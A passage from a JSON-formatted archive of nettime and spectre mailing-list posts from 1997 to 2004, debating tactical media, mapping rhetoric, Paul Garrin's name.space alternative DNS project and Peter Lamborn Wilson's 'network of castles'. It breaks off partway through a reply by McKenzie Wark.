what\nGeert described as our fragmented \"scene\" not for history's sake but for\nthe sake of making us less likely to repeat mistakes and re-invent the\nwheel. Time has come to question the assumption that ephemerality must\nalways be a virtue. Manifestos of the tactical (including our own) assume\nthat we must reject the permanent, the monumental. Defacing public\nmonuments is a knee jerk reaction of many street protests. I think there\nis something to be learned from the American Civil Rights movement and\nMartin Luther King when they appropriated the Lincoln Memorial as a means\nof tapping into a broadly based community memory. In Amsterdam we also\nhave a great example, the Homo Monument which is a beautiful and effective\npublic site for reflection and mobilisation. On the question of the\ntension between informal tactics and institutionalization, like Geert I\nalso don't see tension, but for different reasons. The perceived tension\nis based on the misapprehension that tactical media is by definition\nalways on the outside of institutional power. Power exists where it enacts\nitself and that may or may not be within institutions. I know plenty of\n\"power brokers\" who operate on the outside of institutions. Nor do I\naccept the romanticism of the statement \"creative individuals can't deal\nwith bureaucracy\".  An important reason for introducing the term tactical\nwas to leave behind the rigid dichotomies of mainstream vs underground,\namateur vs professional, or even \"the creative individuals vs uncreative\nindividuals\". From Paper Tiger to the BBC's video diaries we discovered\nthat the tactical cuts straight across the marginal vs mainstream\ndichotomy. It is the contexts in which tactical media are made that\ninfluence the tactics deployed, and these contexts (and their tactics) are\nmultiple.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 15 Aug 2001 15:50:44 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200108162150.RAA18189 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0108/msg00060.html",
                "list": "nettime_l",
                "author_name": "Andreas Broeckmann",
                "subject": "<nettime> Garcia/Lovink: The GHI of Tactical Media"
            },
            {
                "content-type": "n/a",
                "from": "animas999 at yahoo.com",
                "id": "4053",
                "content": "IN THESE TIMES\n\n http://www.inthesetimes.com/site/main/article/1750/\nQuestioning the Frame\nThoughts about maps and spatial logic in the global\npresent\nBy Coco Fusco\tDecember 16, 2004\n\nTerms such as \" mapping,\" \"borders,\" \"hacking,\"\n\"trans-nationalism,\" \"identity as spatial,\" and so on\nhave been popularized in recent years by new media\ntheories' celebration of \"the networks\"-a catch-all\nphrase for the modes of communication and exchange\nfacilitated by the Internet.\n\nWe should proceed with caution in using this\nterminology because it accords strategic primacy to\nspace and simultaneously downplays time-i.e., history.\nIt also evades categories of embodied difference such\nas race, gender and class, and in doing so prevents us\nfrom understanding how the historical development of\nthose differences has shaped our contemporary\nworldview.\n\nTechnocentric fantasy\n\nThe rhetoric of mapping and networks conflates the way\ntechnological systems operate with modern human\ncommunication. According to this mode of thought we\nare to believe that we live inside the world of\nWilliam Gibson's Neuromancer and that salvation is\nonly attainable via very specific technological\nexpertise unleashed against the system-i.e., hacking.\nConsider the heroes of Hollywood sci-fi blockbusters\nsuch as The Matrix whose power lies in their knowledge\nof \"the code.\" It is implied that we operate in\nnetworks because computers and the Internet have\nrestructured \"our\" lives and because global economic\nsystems have turned us into global citizens. Hacking\nthen comes to stand for all forms of critical\nengagement with preexistent power structures.\n\nI'm just a little too old to believe these new media\nmantras unquestioningly. This rhetoric implies two\npossible explanations for the difference between the\nnetworked present and the non-networked past.\n\nThe first explanation suggests that no one on the left\nbefore the age of the Internet practiced subversive\nmanipulation of existent media, tactical intervention,\ninvestigative reporting and infiltration of power\nstructures. It also would seem that before the dawning\nof the networks, no one knew what being an organic\nintellectual was about, no one elaborated alternative\ncommunication systems and no one was aware of or\nsensed a connection to geographic regions other than\nEurope.\n\nThe second explanation would be that electronic\ncommunication has produced a form of networking that\nis so radically different as to imply a neat break\nwith the past. In either case, these arguments\nconveniently situate their advocates outside history,\nsince either way tactical media practitioners have\nnothing of value to inherit from the past.\n\nWhile I can understand that there might be a dearth of\nknowledge about tactical interventions of previous\ncenturies, I am perplexed by the apparent loss of\nshort-term memory of many cultural theorists now in\nvogue, who were alive and active in the '70s.\n\nCan we forget Daniel Ellsberg's publishing of the\nPentagon Papers, the uncovering of the Watergate\nscandal, the break-in to an FBI office by an anonymous\ngroup that led to revelations of COINTELPRO and the\nFreedom of Information Act, the many Senate\ninvestigations of FBI corruption, the widespread\nsolidarity with Third World independence movements,\nthe plethora of underground and alternative presses\nand global mail art networks-all operated by radical\nactivists, artists and intellectuals? Those of us who\ncan at least recall the ways that these strategic\ninterventions transformed political and cultural life\nin that decade necessarily cast a skeptical glance at\nthe messianic claims of technocentrists.\n\nThe shift from Eurocentric internationalism to a more\nglobally inclusive worldview came long before the age\nof the Internet. It was launched outside Europe and\nAmerica, and emanated from the geopolitical margins.\nThe process took place across a range of fields of\nknowledge, culture and politics. This revision of the\nworld picture was catalyzed by postwar decolonization;\nthe Non-Aligned Movement launched in 1961; and civil\nrights struggles in the developed world, including the\nBlack Power and Chicano movements-all of which\ninvariably affirmed their alliances with Third World\nrevolutions. This political process was expanded upon\nby a postcolonial understanding that various diasporas\nshared transnational connections and that these\ndiasporas were produced by the economics and politics\nof colonialism and imperialism. The historical bases\nof these movements are consistently obfuscated by the\ntechnocentric rhetoric of networks and mapping that\nemanate from Europe, North America and Australia.\n\nInstead of dealing with these histories, contemporary\ndiscourses on globalism and new technology tend to\ndismiss postcolonial discourse as \"mere identity\npolitics.\" They tend to confuse bureaucratic efforts\nto institutionally separate the concerns of ethnic\nminorities with what always have been the much broader\nagendas of anti-racist political struggles and\npostcolonial cultural endeavors.\n\nI am a great admirer of the practice of electronic\ncivil disobedience and have used \"hacktivist\" software\nsuch as Floodnet to engage in online protest actions\nmyself. But I find the willed historical amnesia of\nnew media theory to be quite suspect, and even\ndangerous. One of the reasons I chose to make a/k/a\nMrs. George Gilbert, a video art piece about the\nAngela Davis case, was because I wanted to reexamine\ncrucial histories that are now being forgotten within\nthe contemporary conversations on globalization. The\nalienation caused by multinational corporate\ndomination (otherwise known as Empire) that many\nmiddle-class young adults in the Global North feel is\njust the last chapter in a long history of reactions\nagainst imperial projects.\nMapping mistakes\n\nAnother issue of concern is the new media culture's\nfascination with mapping-a fascination that it shares\nwith the military strategists. The news of the Iraq\nwar frequently involves men in uniform pointing to or\nbetter yet walking across maps of various Middle\nEastern countries-so when I then walk into galleries\nand cultural conferences in Europe and find more men\n(without uniforms) playing with maps, I start to\nwonder about the politics of those representations.\n\nIn the American media, maps dominate representations\nof warfare. While realistic depictions of the violence\nof war via photographs and film have been banned from\nAmerican television news, maps are acceptable to those\nin power because they dehumanize the targets.\nSimilarly, in the context of the art world, maps have\ncome to abstract and thereby silence individual and\ngroup testimony.\n\nNew media culture uses maps to read the world in terms\nof extremes. Contemporary cultural theory is rife with\nrenderings that celebrate macro views and micro views\nof the workings of the world, both social and\nbiological-which is to say, maps of vast spaces and\nphysical phenomena and maps of the most minuscule\nthing. We hear over and over again about global\nsystems and panoptic vision on the one hand and genome\nchains and nano-entities on the other. When I first\nnoticed this phenomenon I was struck by how it\ncomplements the resurgence of formalist art\ncriticism's love affair with the grid. By this I am\nreferring to the return in the '90s to the definition\nof art as a search for \"perfect forms,\" and a\ncelebration of the formal characteristics of objects\nand surfaces. What I have become more concerned about\nas time goes on, however, is how this fetishizing of\nspatial extremes enables the resurgence of Descartes'\nidea that humans are rational, autonomous individuals\nand that the human mind and mathematical principles\nare the source for all real knowledge.\n\nHowever objective they may appear, maps do have a\npoint of view, and that is one of privileged\nsuper-human sight, of safe distance and of\nomniscience. The mapmaker charts an entire field of\nvision, an entire world, and in doing so he (yes he)\nplays God. Whether you are beholding the map as a\nviewer or charting it as the cartographer, you rule\nthe world before you, you control it, and, in putting\neverything in its place, you substitute a global whole\nestablished through pictorial arrangement for an\nactual dynamic engagement with individual elements and\nentities. The psychological motive behind assuming\nthat position of power is not questioned, nor is the\npredominance of white male techno-elites in that\ndiscourse seen as anything more than incidental.\n\nIt is as if more than four decades of postmodern\ncritique of the Cartesian subject had suddenly\nevaporated. Those critical discourses that unmasked\nthe way universals suppress difference, which gave\nvoice to the personal experience of women, the poor\nand disenfranchised minorities, are treated as\ninherently flawed by both the progressive and\nconservative discourses of globalism. Progressive\nmedia advocates dismiss these discourses of difference\nas \"essentialist\" while Republicans decry them as \"the\ntyranny of special interests.\" But both provide\nideological justification for the dismantling of\nlegislation protecting civil rights.\n\nViewing the world as a map eliminates time, focuses\ndisproportionately on space and dehumanizes life. In\nthe name of a politics of global connectedness,\nartists and activists too often substitute an abstract\n\"connectedness\" for any real engagement with people in\nother places or even in their own locale.\n\nWhat gets lost in this focus on mapping is the view of\nthe world from the ground: lived experience. What is\nignored is the pervasiveness of the well-orchestrated\nand highly selective visual culture that the majority\nof Americans consume during most of their waking\nhours. Most people are not looking through microscopes\nand telescopes and digital mapping systems to find\ntruth about the world. They are watching reality TV,\nsitcoms, the Super Bowl, MTV and Fox News, all of\nwhich also offer maps of a completely different kind:\nconspiracy theories that pit innocent Americans\nagainst the Axis of Evil, embedded journalists'\nhallucinatory misreadings of foreign conflicts,\nallegories of empowerment through consumption and\nendlessly recycled, biblically inspired narratives of\nsin and redemption.\n\nGoing off-grid\n\nFinally we should consider what is being left off the\nmaps and why? What has happened, for example, to\ninstitutional self-critique in the art world? Why has\nsuch examination become taboo in exhibitions or\nunpopular with artists who gravitate to political\nsubjects? Why in the midst of myriad investigations of\ncorporate control of politics and culture is there\nlittle or no attention paid to corporate control of\nthe museums and of corporate influence in art\ncollecting? Why is it acceptable to the art world for\nan artist to address the Israeli-Palestinian conflict,\nbut not to address the pressure put on the organizers\nof global art exhibitions to showcase a\ndisproportionate number of Israeli artists? Why is it\nfine for black artists to celebrate the construction\nof black style but not to make visible the virtual\nabsence of black people as arbiters in the power\nstructures of the art institutions, galleries,\nmagazines and auction houses where black art is given\neconomic and aesthetic value?\n\nWe live in a very dangerous time in which the right to\nexpress dissent and to raise questions about the\nworkings of power is seriously imperiled by\nfundamentalisms of many kinds. Now more than ever we\nneed to keep the lessons of history foremost in our\nminds and to defend the critical discourses and\npractices that enable differing experiences and\nperspectives to be heard and understood.\n\nThere are just too many important parallels to be\ndrawn between COINTELPRO and the excesses of law\nenforcement brought about by the Patriot Act to be\ndismissive of history. Socially conscious artists and\nactivists, rather than embracing tactics that rely on\ndreams of omniscience, would do well to examine the\nhistory of globalism, networks, dissent and collective\nactions in order to understand that they are rooted in\nthe geopolitical and cultural margins.\n\nCoco Fusco is an interdisciplinary artist and an\nassociate professor at Columbia University's School of\nthe Arts. Her most recent publication is Only Skin\nDeep: Changing Visions of the American Self (Abrams,\n2003).\n\n\n\n\n\n\n\n\n\t\t\n__________________________________ \nDo you Yahoo!? \nYahoo! Mail - Helps protect you from nasty viruses. \nhttp://promotions.yahoo.com/new_mail\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2004-December/004053.html",
                "message-id": "4053",
                "date": "Thu Dec 16 21:51:30 CET 2004",
                "list": "spectre",
                "author_name": "coco fusco",
                "subject": "[spectre] Questioning the Frame"
            },
            {
                "id": "00039",
                "content": "\nto the tune of \"REVOLUTION\" by the Beatles:\n\n        \"you say you want a revolution\n        well, you know,\n        somebody's got to pay...\"\n\nThe foundations for the existance of free art and free media\nare threatened by the disappearance of funding and resources\nwhich have until now been the blood of existance of the\nculture scene as we _knew_ it.\n\nMany within this scene have converged to discuss the concepts\nof \"Tactical Media\" and other progressive, democratic approaches\nof creating and distributing media which emphasize cultural\ndiversity and respect for human rights.\n\nMost, if not all these cultural gatherings, i.e. Next 5 Minutes,\nand others were funded by a variety of public and foundation money.\nThere is no guarantee that this will be the case in the future.\n\nThe 1998 funding for MuuMediaBase in Helsinki is in doubt, for example.\nThey are unsure if they can maintain their current level of operations\nin the future.\n\nThe question is, if there is the motivation to create an open space\non the net for free art and media, how will it be achieved?  How will\nit be funded?\n\nDuring the early phases of name.space, known as \"panet\" (permanent\nautonomous net), it was stated that the only way to assure the uncensored\npresence of our media in the future,is to buy the bandwidth and\nserver resources.  In a sense, to make our own channel.\n\nIn order to create a place on the internet dedicated\nto the furtherance of free thought, free art and free media, an\neconomic infrastructure must exist, or we must forever be at the mercy of\nwhatever interests control the network you are on.  The radikal\nsearch engine at disinfo.com was cut off because of the nature\nof its contents (Time Warner??--pulled the plug??).\n\nThe \"Disneyfication of Media\" threatens to censor or at least\nmarginalize independent artistic content and free media.\n\n(look back to \"The Disappearance of Public Space on the Net\"\n<a href=\"http://mediafilter.org/ZK/Conf/Conf_Email/March.30.1996.18.49.13\">\nDisappearance</a>)\n\nThe idea of establishing an expanded domain name space seemed to\nbe the perfect way of putting into practice many of the ideals\noften discussed around the topic of \"Tactical Media\".  The idea\nof decentralization--of anonymity and privacy--the assertion of\nindependence from the government legacy of the net--and, the\nestablishment of decentralized, localized economy.\n\nIt is clear that the name.space initiative has enormous economic\npotential.  This was known from the beginning and should be clear\nto anyone who even thought about the scale of the project.  The\nquestion was, how to develop this economic potential?\n\n******HOW TO:\n\nSetting up dns is technically a relatively simple operation.\nCreating new names in the toplevel namespace is as easy\nas typing in the name and address in the proper format in\na classical BIND style file.  Nothing special.  A new tld\nis created.  Getting people to recognize it is the next step.\n\nGiven that in order to be universally resolved, the new tld\nmust be in the database of the current hosts recognized as root--\n10 machines run by military, government, university and private\noperators.  The process for gaining inclusion into the current\nroot database ranges from applying for a new toplevel via internic\n(you have to be a country, or prove why you should have it through\na lenghty and tedious application procedure).  Or, create a service\nthat people can use on a \"closed circuit\" until such demand proves\nits viability (where name.space is today).\n\nUnder US Law, the current rootserver hosts must provide access\nto their facility by their competitors on a non discriminitory basis.\n(We just need to ask them for it!)\nThe U.S. Department of Justice, Anti-trust division has confirmed this\nto the name.space legal counsel.\n\"Your case is a carbon copy of MCI vs. ATT\" they said.\nIf the Rootservers refuse, they are in violation of the law and subject to\nAnti-Trust violations.  According to the USDOJ representative,\nThere is no argument in this case.  The law is clear in their opinion.\n(the case begins this month).\n\nWhat name.space must prove is that it can provide a reliable service.\nAt this stage, with only several thousand users, there have been no failures\nand users have been praising the name.space service.  The number of\nservers is increasing, and the levels of connectivity are improving.\nBy the time the name.space service is recognized by the current rootservers,\nit will have the capacity to handle the dns traffic of the net to its\nnew toplevel names.\n\nThe size of a dns request is quite trivial compared to loading an\naverage web page.  1 web page may equal 1000 (or more) dns lookups.\nDon't be deceived by visions of millions of dns requests.\nThe specs for nameservers set out in RFC 2010 establish that a\nrootserver handle 1200 requests per second. Most of our servers\ncan do that already.  The ones which don't will be upgraded so they do.\nThe load will not reach that level immediately.  Most of the demand\nwill come in the next year as the number of users in the new toplevel\nnamespace increases.\n\nUntil then the current rootservers would handle most of the load.\nThis time period should yield cash flow to pay for the network\noverhead, operations and upgrades.\n\n***The operative is cash flow.  Where does it go?\n\nThere are several networks and individuals who are\ndirectly involved with the implementation of name.space.\nEveryone so far has been working on a volunteer basis.\nAs soon as the name.space database is universally resolvable,\nan annual fee of $25 will be charged per name for registrations.\nThose charges will be waived for educational nets and discounts will\nbe offered to non-profit organizatons.  Income will pay\nfor the servers and connectivity and development\nof the name.space network:\n\n        desk.nl\n        dds.nl\n        v2.nl\n        muu.autono.net\n        ljudmila.autono.net\n        icf.de\n        thing.net\n        mediafilter.org\n        zero.tolerance.org\n\nname.space has agreed to pay operating expenses to each of these\nnetworks, and also issue to each of them shares in the company.\n\nIndividuals who have contributed programming and development skills\nto the name.space project will be paid for their work and/or issued\nshares of the company.\n\n[We still need someone with unix/perl/c and networking expertise\nto support the development of the dynamic dns updater that\nAndreas Troeger and Paul Garrin are currently developing on the\nppc platform].\n\nTechnical personnel will be paid to operate the various facilities,\nas necessary.\n\nThe surplus network and server facilities are dedicated to\nkeeping free media free--non commercial space of uncensored\nfree content.  The entire infrastructure of name.space\nis oriented toward cultural support at its foundation.\n\nShould the revenue reach an appropriate level, it would\nsponsor full scale conferences, lectures, workshops, and other\ninternational cultural exchanges: (Next 5 Minutes in NYC 1998).\n\n***On the question of registries sharing the toplevel namespace:\n\nThe dynamic update system now under development is a helper\napplication to dns software which allows the dns registries to\nact as a travel agent would in booking an airline seat.\nThis allows any registry, including internic and\nalternic, to register under all new and old tld's without\nconflict.\n\nThis registry package is being offered to the other nets in\nname.space who are interested in running registries in their\narea.  The name.space website is a fully functional, fully\nautomated name registry system.  This system, together with\nthe dynamic update system will enable the sharing of the\ntoplevel namespace by the independent registries, thus creating\nopportunities for our affiliates to handle registrations,\nand therefore generate revenue for their nets.\n\nName.space is dedicated to keeping the toplevel namespace public.\nThe decentralized registry model will allow for many local name\nregistries to share all the toplevel names without conflict.\nIt also includes multi layered authentication to prevent spoofing\nthe database (today's dns doesn't have this feature).\n\nThis dynamically updated enhancement to dns brings us closer to\nthe functionality of the future X.500 protocol which has a much\nlarger database capacity than dns.  By the time the dns database\ngrows to 15,000-20,000 toplevel names, (the speculated upper limit\nof the current version of the BIND software), X.500 may already be\nin wide use.\n\n(X.500 is a large scale sophisticated dynamically updated database\nwith authentication and supports multiple encryption types--security\nis not available with dns).\n\nThen there will be no issue as to the size or scale of the\n\"directory of the net\" in X.500 land.\n\nForget the concept of \"DOMAIN\".\n\nDOMAIN=TERRITORY=DOMINATION\n\nAbandon the nationalist/militarist paradigm of dns.\n\nTHINK VIRTUAL\n\nThe names used in dns are simple aliases to numbers.\n\nUsing a new mnemonic in the namespace to address content,\nor what has been discussed as \"CONTENT ROUTING\"\ncombined with \"VIRTUAL DOMAINS\" and \"SOFT VIRTUAL DOMAINS\"\n(<virtual host> config in Apache server,\nWelcome PlugIn for webstar 2.0)\nand eventually \"DYNAMIC IP ADDRESSES\" the idea of\nHeath Bunting's \"WANDERING WEBSITES\" or\nfor \"STEALTH NETS\" become possible.\n\n***The Question of the Business Model of name.space\n\nIn order to function legally in accordance with the\nlaws of the State of New York, and the US Federal Laws,\nname.space has chosen to register as an S-corporation,\nprivately owned, for profit entity.\n\nThis is not extraordiary or unusual.  Many other nets\nsurrounding us are also companies in accordance with their\nlocal laws:  xs4all.nl, dds.nl, desk.nl, internationale stadt,\nthing.net, Waag, and others exist as businesses.  Some may receive\nsupport from corporate, foundation or state sponsors, but\nthe future of that support is not guaranteed.\n\nThe question of wheather or not to operate name.space as a non-profit\nwas simple to answer.  No.  Profit is ok if it is applied to\ngood cause.  The bureaucracy of non-profit is too stifling in the USA.\n\nName.space was started with private investment, from money earned\nby me from exhibiting my artworks, lectures, and other jobs including\nproducing video for Nam June Paik.  Others have volunteered their\ntime on a limited basis, and contributed their server resources.\nAndreas Troeger has spent the past 6 months, full time,\nprogramming the registry and update system.\n\nMany of us highly respect George Soros and his generous and vital\nsupport of culture and \"open society\"....all funded by profits made\nby one of the most dispicable acts of capitalism (next to real estate)\n- --currency speculation.\n\nBut his money is eagerly sought after for arts and media in Europe...\nwhich is excellent.  One capitalist has great ideas onm how to use his\nmoney to better society...or at least to enable others to try and\nmake society more humane.\n\nName.space may never reach the scale of the Soros Foundation,\nbut its agenda is the same.  How can we use capitalism to fund our\nfuture existance in the face of growing abandonment of the public\nsector?\n\nSUPPORT NAME.SPACE\n\nKEEP FREE MEDIA FREE\n\nfor more information, go to:\n\nblack.hole\nhttp://black.hole\nhttp://blackhole.autono.net\n\nMediaFilter.org\nhttp://MediaFilter.org\n\nname.space\nhttp://name.space\nhttp://namespace.autono.net\n\n\n\nComing next:\n\nPart 2--Public Relations, Perception Management, and InfoWar...\n        Tactical Media in Practice.\n\n\n\n\n- --Paul Garrin\n  mf {AT} mediafilter.org\n\n\ndon't abandon hope or succumb to cynicism....\n\n\n",
                "to": "eon {AT} black.hole",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9702/msg00039.html",
                "list": "nettime_l",
                "author_name": "MediaFilter",
                "subject": "\"say you want a revolution.....\" was  Re: nettime: [Fwd: rewired Zeit- name.space]",
                "from": "f {AT} mediafilter.org (MediaFilter)",
                "follow-up": [],
                "message-id": "1356064364&#45;1476036 {AT} MediaFilter.or",
                "date": "Sun, 16 Feb 1997 01:53:48 -0500",
                "content-type": "text/plai"
            },
            {
                "id": "00118",
                "content": "\nFax from Autonomedia  05-12-97\n\nResponse to the Tactical Media Manifesto:\nA Network of Castles\n\nTactical media, then, would be a kind of filth--an organic process--as \ncompared with the ideological cleanliness of strategic media (the \"author\").\n\nDo we need a defense of filth, or a theory of filth--as fertility, as \npleasure, as relaxation from the rigidities of \"Civilization\"?  Not \nnostalgia for the mud, but the mud itself ?  Or would such theorizing simply \nbecome another kind of tidying-up process--an erasure of its own theoretical \nobject?\n\nThe tactical problem consists of the need (or desire) to stay ahead of \nrepresentation --not just to escape it, but to attain through mobilization a \nrelative invulnerability from to representation.  And the problematic aspect \nof the problem is that all media--even tactical media--deal in representation.\n\nThus one can follow the trajectory of a given tactical medium, through ever \ngreater representation, towards the fate of being subsumed into some \nstrategy.  And the fatal black hole toward which so many of these \ntrajectories vanish is Capital--of course.\n\nEverything is a process of being cleaned up.  To preserve its autonomy the \ntactical medium wants to remain dirty--it can never let itself be surrounded \nand cleared by strategy, by ideology.  It must stay out ahead, drifting \nbefore all possible waves, uncertain even of its own trajectory.\n\nBy another paradox, this uncertainty itself becomes a \"principle.\"  It comes \nto occupy the space of a strategy--and thus to define a strategic space.  No \n\"authors\" need to be implicated.  A messy organic process--involving both \nreason and unreason--not imposed or categorical--emergent.  Shape-shifting.  \nDangerous and plagued by failures.  But not aimless or undirected.  In \neffect--strategic.\n\nMedia as technologies (\"machines\") are perfect mirror-representations of the \ntotality that produces them (or vice-versa).  The internet, for example, \nmirrors not only its military origin but also its affinity with Capital.  \nLike globalism, it breaks through borders--it is a \"chaos,\" like Capital \n(which seeks the Strange Attractor of the numisphere, where the numinous and \nthe numismatic are one and eternal).  One might even speak of \"nomadic\" \nfeatures (\"migratory capital\").  Like Capital, the Net is drawn toward \nvirtuality, cognitive prosthesis, disembodiment.  But (the \"vice versa\" \nprocess) media tend simultaneously toward the production of the totality:--a \ncomplex multi-feedback relation.\n\nIn one sense, tactical media would then have to engage in the destruction \nand/or subversion (\"substruction\") of this complex--driving a wedge between \nthe machine and the totality.  Such action would imply that the totality is \nfar from total, that there will be interruptions along the feedback lines, \nbreaks in \"service\"--missing zones, and zones of resistance.\n\nAd-hoc, constantly mutating, determinedly empirical, at this point tactics \nbegin to coalesce into a strategy (\"spontaneous ordering\").   Because this \nstrategy has no \"author\" (and is not ideologically driven) each tactical \nmedium--each tactician as medium--will be able to seek direction from it \nwithout losing autonomy to it.  Thus the complex interplay between tactic \nand strategy is one of mutual validation or \"co-emergence.\"\n\nAt this point, the metaphor of the castle--introduced by the \nManifesto--takes on an added luster, or perhaps a baleful gleam.  The Nizari \nIsmailis (the so-called \"Assassins\") structured their polity around a \nnetwork of remote castles, most of which were inaccessible to every medieval \nmilitary tactic--even prolonged siege, since they were supplied with their \nown gardens and water.  Each high castle typically protected a fertile \nvalley and was therefore self-sufficient--but full communication and even \neconomic activity could take place within the network thanks to the \n\"porosity\" of medieval borders.  And thanks to the policy of assassination \nor threatened assassinations, kings and religious authorities hesitated to \ninterfere.  This went on for centuries.\n\nSome years ago I remarked that the Nizari model for utopia had been rendered \nimpossible by modern technologies of war and communication.  Perhaps it \nwould be interesting as a thought-experiment to see if this negative \njudgment still holds true.  From a military viewpoint of course it does--the \n\"isolated castle\" (or commune or the like) can still be eliminated by the \npush of a button.  But \"the military\" must have a reason for such action.  \nSince \"assassination\" is an absurdity (e.g. the Unabomber)--and even \n\"militance\" must be re-defined--there may be no immediately apparent reason \nfor the military to suppress a given \"autonomous zone.\"\n\nThe question of communication technology is trivial by comparison, but \ninteresting.  The Net as a \"military\" structure is \"accessible to all,\" and \neven as Capital absorbs the Net these tactical areas of indeterminacy \npersist--the same holds true for all \"intimate\" or tactical media.  Thus the \n\"network of castles\" becomes possible--but the real question is whether the \ncastle itself is possible.\n\nLike any institution the castle will exist in part as a representation of \nitself in media.  The Assassins' castles were rooted partly in the \nimaginaire, in the image that pervaded medieval media (text, work-of-mouth, \nlegend), in the image of mysterious inaccessibility and danger.  The Mongols \nfinally destroyed Alamut not by direct assault but by demoralizing it with \nan even more fearsome image (pyramids of skulls from China to Hungary, \netc.). But at its height of power, Alamut could dispense even with \nassassination, since the image alone sufficed to ward off all military and \npolitical attention.\n\nUnder the regime of global neo-liberalization or pan-capitalism that \ntriumphed in 1989, the nation-states of the world have begun to \"privatize\" \nall social functions for the collection of taxes for the support of military \nand police force, and the use of that force in the interests of Capital.  \nThe \"natural law of the free market,\" however, clashes with the remnants of \nsocial ideology embedded in such structures as the UN, the EU, or even the \n\"old\" liberal or conservative regimes of certain states.  Politics in such \nsituations becomes a matter cognitive dissonance. \n\nThis is exacerbated by the appearance of \"new media\" which mirror the global \ntotality but also enhance the cognitive dissonance (negative feedback, \n\"noise\") inherent in the representations of the totality.  Capital seems to \nhave a logic of its own--the tendency of money to define all human \nrelations, if you will--but in truth neither capitalists nor politicians can \nreally penetrate this logic or understand its direction--much less control \nit.  Huge conceptual gaps open in the structure of the \"totality.\"  The \nquestion remains: are these gaps strategic? \n\nThe gaps cut across sedimentary layers of actuality, and the gaps themselves \ntend to shift position, change shape, open and close.  Geography as well as \nthe virtual space of the image, space as well as time constitute the \nmutating forms of these potential tactical regions.  some will be zones of \ndepletion, in which all power has been shut off (there are rumors of strange \ntribes around Chernobyl...); others will be accidental autonomous zones \nwhich might involve classes, groups (\"refugees\") or specific areas.  Some \nwill be liberratd zones (Chiapas), others will be deliberate seams.  Some \nwill be \"unseen,\" others will enter into representation.  In the midst of \nsuch fluidity, there must emerge some islands or rocks.  Castles will be \noccupied in the confusion, and later there will be no military advantage in \ndestroying them.  The castles will not be defendable, but they will be \nirrelevant, unassimilable--to \"remote\" (even in the middle of ancient \ncities)--apparently pointless.  An air of shabby eccentricity might be \nuseful here.\n\nAnother reason for Alamut's success was that any king who allowed it to \nexist could consider the possibility of a secret alliance, whereby money \ncould be used to purchase immunity from the dagger--or perhaps even a \ncontract on some other king--or most interesting of all, access to the \nsecret sciences (astronomy, engineering and hydraulics, political \nphilosophy, medicine, yogic techniques, etc.) of the Nizari observatories \nand libraries.  In modern terms we might say that capitalists and \npoliticians are so confused and ignorant about new media (far moreso than \nthe average artist or 14-year-old) that large sums of money are currently \nbeing spent on \"secret sciences.\"  Out of the conflict between Capital and \nState over monopolies of representation, gaps can be produced--and made big \nenough to contain castles.\n\nAll this of course remains on the level of tactics.  But the construction of \na \"network of castles\" would constitute not only (in itself) a pleasurable \nact of autonomy and self-organization, but also a \"strategic\" structure, or \nrather an organic and embodied complexity out of which a strategic dimension \nmight well emerge.\n\nTierra y libertad\n\nPeter Lamborn Wilson\n\nNYC April 1, 1997\n\n----\n \nSome notes on the document history of the manifesto of tactical media:\n\nThe official version of the manifesto was posted to nettime and is available \nas \"The ABC of Tactical Media\" at http://www.waag.org/tmn\n\nPeter Lamborn Wilson obviously answers to a previous version of the document\nwhich was sent around earlier this year:\nhttp://www.desk.nl/~nettime/others/ABC.TXT\n\nand David Garcia one co-author wrote already a new and own version of it:\nhttp://www.desk.nl/~nettime/others/TACTICAL.TXT\n\n/pit\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00118.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "<nettime> Peter Lamborn Wilson: Response to the Tactical Media Manifesto",
                "from": "Pit Schultz <pit {AT} icf.de>",
                "follow-up": [
                    {
                        "from": "McKenzie Wark <mwark {AT} laurel.ocs.mq.edu.au>",
                        "content": "\n\nWhenever a term passes backwards and forwards a few\ntimes without much reflection, i'm inclined to look\nup its origins. And so: 'tactic' -- which seems to\nhave a greek root, meaning to order or arrange. And\n'stratagem', which Caxton took to mean 'artifice to\nsurprise an enemy'. A device or trick. Its root is\nthe word stratos, or army, modified with a suffix\nthat means 'to lead'. \n\nI find the idea of the device or trick more interesting\nthan that of ordering or arranging. Trick media, ruse\nmedia, media strategems -- that sounds more encouraging.\nThe problem is not so much escaping or staying ahead\nof meaning, as camouflaging one kind of sense in another.\nHow can media vectors connect subjectitities together in\nsuch a way that they can conduct a conversation that\nmight pass unnoticed, or remain misread, in the midst\nof all the others? Such a conversation, such a subjective\nendeavour, wouldmost likely not be spatially or economically\nautonomous, but might nevertheless have an aspect of itself\nthat remains free from capture by the prevailing vectors\nof capital and media.\n\nBut lets face it, talk of strategy and tactics is boys' talk,\npart of a retrograde fantasy we can all live without. The\nlanguage of 'mobilisation' is itself part of the problem, and\na hold over from the cold war. Intellectuals, artists, media\npeople are supposed to join the ranks of this or that\n'movement' to fight agains this or that foe in this or that\n'emergency'. Suspension of aesthetic, ethical and political\nfreedom for all can then be legitimised in the name of a higher\ncalling. \n\nSo its not a choice of tactics or strategy, but a choice of \nan authoritarian language for media practice or a democratic\none. The mobilisation of 'forces' or escape from the grid of\ncompliance, whether to the dominant power or its mirror\nimage, the avante garde that would take its place. \n\nIts more than a question of metaphors. Language doesn't represent\nanything. It connects things and people. It proliferates and\nreproduces itself in the process. The trick is to get the connecting\nand reproducing sides of language to work towards the production\nof plurality, difference, zones of liberty where meaning is\nneither led from the front nor punished at the margins. \n\nConfrontation seems to me to usually involve the reproduction of\nthe language of confrontation and authoritarian relations between\npeople and things. Language becomes a matter of giving orders, \nannouncing decrees, denouncing heretics, definig limits -- and\npronouncing all of 